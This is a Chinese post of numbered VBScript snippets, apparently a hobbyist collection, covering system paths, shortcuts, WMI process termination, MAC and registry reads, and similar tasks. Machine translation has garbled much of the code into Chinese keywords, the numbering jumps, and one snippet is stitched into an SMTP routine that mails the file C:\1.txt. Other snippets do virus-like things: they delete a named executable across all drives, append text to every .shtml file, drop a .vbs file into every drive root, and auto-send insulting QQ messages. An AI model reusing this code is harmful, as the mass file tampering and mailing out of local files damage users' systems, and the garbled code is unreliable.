找到一个简单的vbs代码
1.VBS获取路径集
1.1.VBS获取系统安装路径。
程序代码
设置WshShell = WScript。CreateObject("WScript。外壳”)
strWinDir = WshShell。ExpandEnvironmentStrings(“% WinDir %”)
上面的代码意思是定义这个变量先获取系统安装路径，然后我们用“&；strWinDir & amp称这个变量为。
1.2 . c:\程序文件路径
程序代码
msgbox CreateObject("WScript。壳”)。ExpandEnvironmentStrings(" % program files % ")
1.3.c: \程序文件\公共文件路径
程序代码
msgbox CreateObject("WScript。壳”)。ExpandEnvironmentStrings(" % CommonProgramFiles % ")
2.向桌面添加URL快捷方式
程序代码
设置gangzi = WScript。CreateObject("WScript。外壳”)
strDesktop = gangzi。特殊文件夹(“桌面”)
设置oShellLink = gangzi。创建快捷方式(strDesktop & amp" \Internet Explorer.lnk ")
奥谢林克。目标路径= " "
奥谢林克。描述= "Internet Explorer "
奥谢林克。icon location = " % program files % \ Internet Explorer \ ie xplore . exe，0 "
奥谢林克。救援
3.将URL添加到您的收藏夹
程序代码
Const管理工具= 6
set objShell = CreateObject(" Shell。应用”)
Set objFolder = objShell。命名空间(管理工具)
Set objFolderItem = objFolder。自己
Set objShell = WScript。CreateObject("WScript。外壳”)
strDesktopFld = objFolderItem。小路
Set objURLShortcut = objShell。创建快捷方式(strDesktopFld & amp“\小游戏网站。网址”)
objurls捷径。target path = "/CDO/configuration/"
设置Email = CreateObject("CDO。消息”)
电子邮件。From = "Send @qq.com "
电子邮件。To = "Receipt @qq.com "
电子邮件。Subject = "Test sendmail.vbs "
电子邮件。Textbody = "OK！"
电子邮件。AddAttachment "C:\1.txt "
用电子邮件。配置.字段
。项目(名称空间& amp" sendusing") = 2
。项目(名称空间& amp" smtpserver") = "smtp。邮件服务器. com "
。项目(名称空间& amp" smtpserverport") = 25
。项目(名称空间& amp" smtpauthenticate") = 1
。项目(名称空间& amp"发送用户名")= "发送者用户名"
。项目(名称空间& amp" sendpassword") = "发送者密码"
。更新
以…结尾
电子邮件。发送
12.VBS结束了这个过程。
程序代码
strComputer = "，"
Set objWMIService = GetObject _
(“winmgmt:\ \ " & amp；strComputer & amp" \root\cimv2 ")
设置colProcessList = objWMIService。ExecQuery _
(“Select * from Win32 _ Process Where Name = ' rar . exe '”)
对于colProcessList中的每个objProcess
objProcess。终止()
然后
13.VBS隐藏并打开了网址。
13.1.有些浏览器不能隐藏，直接打开，适合主流用户。
程序代码
createObject("wscript.shell ")。运行“iexplore”，vbhide
14.VBS遍历硬盘删除指定文件名(下面我加了一个先结束进程再删除的功能，没必要)。
程序代码
出错时继续下一步
模糊路径
strComputer = "，"
Set objWMIService = GetObject _
(“winmgmt:\ \ " & amp；strComputer & amp" \root\cimv2 ")
设置colProcessList = objWMIService。ExecQuery _
(“Select * from Win32 _ Process Where Name = ' gangzi . exe '”)
对于colProcessList中的每个objProcess
objProcess。终止()
然后
set objWMIService = GetObject(" winmgmts:" _
& amp“{ impersonation level = impersonate }！\ \ " & ampstrComputer & amp" \root\cimv2 ")
Set colDirs = objWMIService。_
ExecQuery(" Select * from Win32 _ Directory，其中类似名称“%c:%”或类似名称“%d:%”或类似名称“%e:%”或类似名称“%f:%”或类似名称“%g:%”或类似名称“%h:%”或类似名称“%i:%”)
Set objFSO = CreateObject("脚本。文件系统对象”)
对于colDirs中的每个objDir
fPath = objDir。姓名和名称。" \gangzi.exe "
objFSO。删除文件(fPath)，True
然后
15.VBS获取网卡的MAC地址。
程序代码
密苏里州Dim mc
Set mc=GetObject("Winmgmts:")。instances of(" Win32 _ NetworkAdapterConfiguration ")
对于mc中的每个维护对象
如果莫。IPEnabled=True Then
MsgBox“本地网卡的MAC地址是”&；莫。MAC地址
为...退出
如果…就会结束
然后
16.VBS获取本地注册中心的家庭地址。
程序代码
Set reg=WScript。CreateObject("WScript。外壳”)
startpage=reg。RegRead(" HKEY _当前_用户\软件\ Microsoft \ Internet Explorer \ Main \起始页")
MsgBox起始页
17.VBS遍历所有磁盘的所有目录，找到所有。txt文件，然后在所有txt文件的底部添加一句话。
程序代码
出错时继续下一步
Set fso = CreateObject("Scripting。文件系统对象”)
Co = VbCrLf &。“路过。。。"
对于fso中的每个I。驱动
如果i.DriveType = 2，则
GF fso。GetFolder(I & amp；"\")
如果…就会结束
然后
子GF(fol)
Wh fol
Dim i
对于每一个我。子文件夹
GF i
然后
末端接头
子仓库
Dim i
对于每一个我。文件
如果LCase(fso。GetExtensionName(i)) = "shtml "
fso。OpenTextFile(i，8，0)。写公司
如果…就会结束
然后
末端接头
18.获取计算机的所有驱动器号
程序代码
set FSO = CreateObject(" scripting . file system object ")
设置objdrives=fso。获取当前计算机的所有磁盘驱动器。
对于objdrives中的每个objdrive，遍历磁盘。
MsgBox objdrive
然后
19.VBS为本机所有磁盘根目录创建文件(刚子原创)
程序代码
出错时继续下一步
Set fso=CreateObject("Scripting。文件系统对象”)
设置gangzis=fso。获取当前计算机的所有磁盘驱动器。
对于gangzi中的每个gangzi，遍历磁盘。
设置TestFile=fso。create textfile(" & amp；刚子& amp" \创建新文件夹。vbs”，真)
测试文件。WriteLine("By www.gangzi.org ")
测试文件。关闭
然后
20.VBS遍历全机找到所有123.exe，然后把它们重命名为321.exe
程序代码
set fs = CreateObject("脚本。文件系统对象”)
对于fs.drives中的每个驱动器
fstraversal drive.rootfolder
然后
子fstraversal(byval this)
对于this.subfolders中的每个文件夹
fstraversal文件夹
然后
set files = this.files
对于文件中的每个文件
如果file.name = "123.exe "那么file.name = "321.exe "
然后
末端接头
21.VBS给粘贴板写代码(首先，VBS给粘贴板写内容，互联网上同样的事情是通过InternetExplorer实现的。应用对象，但缺点是默认浏览器非IE时会弹出浏览器，所以费了好大劲才找到这段代码实现)。
程序代码
Str= "这是要复制到剪贴板的字符串"
set ws = wscript . createobject(" wscript . shell ")
ws . run " mshta VBScript:clipboard data。SetData("+""""+"text"+""""+"，"+" " " " & amp；str & amp" " " "+" "(关闭)"，0，真
22.QQ自动发送消息(你可以通过保存BVS并运行它来查看效果。希望高手能举一反三，随便创造)。
程序代码
出错时继续下一步
Str= "我是傻逼/qq "
设置WshShell=WScript。CreateObject("WScript。外壳”)
wsh shell . run " mshta VBScript:clipboard data。SetData("+""""+"text"+""""+"，"+" " " " & amp；str & amp" " " "+" "(关闭)"，0
wsh shell . run " Tencent://message/？菜单=是& ampuin = 20016964 & amp；Site = & amp服务= 200 & ampsigT = 2 a 39 FB 276d 15586 e 114e 71f 7 af 38 e 195148 b 0369 a 16a 40 fdad 564 ce 185 f 72 e 8 de 86 db 22 c 67 EC 3c 1 "，0
WScript。睡3000
WshShell。仙客来“^v”
WshShell。发送键“%s”
23.VBS隐藏文件
程序代码
Set objFSO = CreateObject("脚本。文件系统对象”)
Set objFile = objFSO。GetFile(" F:\ software contest \ show . txt ")
如果objFile。属性= objFile。属性和2然后
objFile。属性= objFile。属性XOR 2
如果…就会结束
24.VBS生成随机数(521是生成规则，不同的数有不同的规则，可以用于其他用途)。
程序代码
随机化521
point = Array(Int(100 * Rnd+1)，Int(1000*Rnd+1)，Int(10000*Rnd+1))
msgbox联接(点，"")
25.VBS删除桌面IE图标(不是快捷方式)
程序代码
set OS hell = CreateObject(" WScript。外壳”)
奥谢尔。RegWrite " HKCU \软件\微软\ Windows \当前版本\策略\资源管理器\ NoInternetIcon "，1，" REG_DWORD "
26.VBS获得了自己的文件名
程序代码
Set fso = CreateObject("Scripting。文件系统对象”)
msgbox WScript。脚本名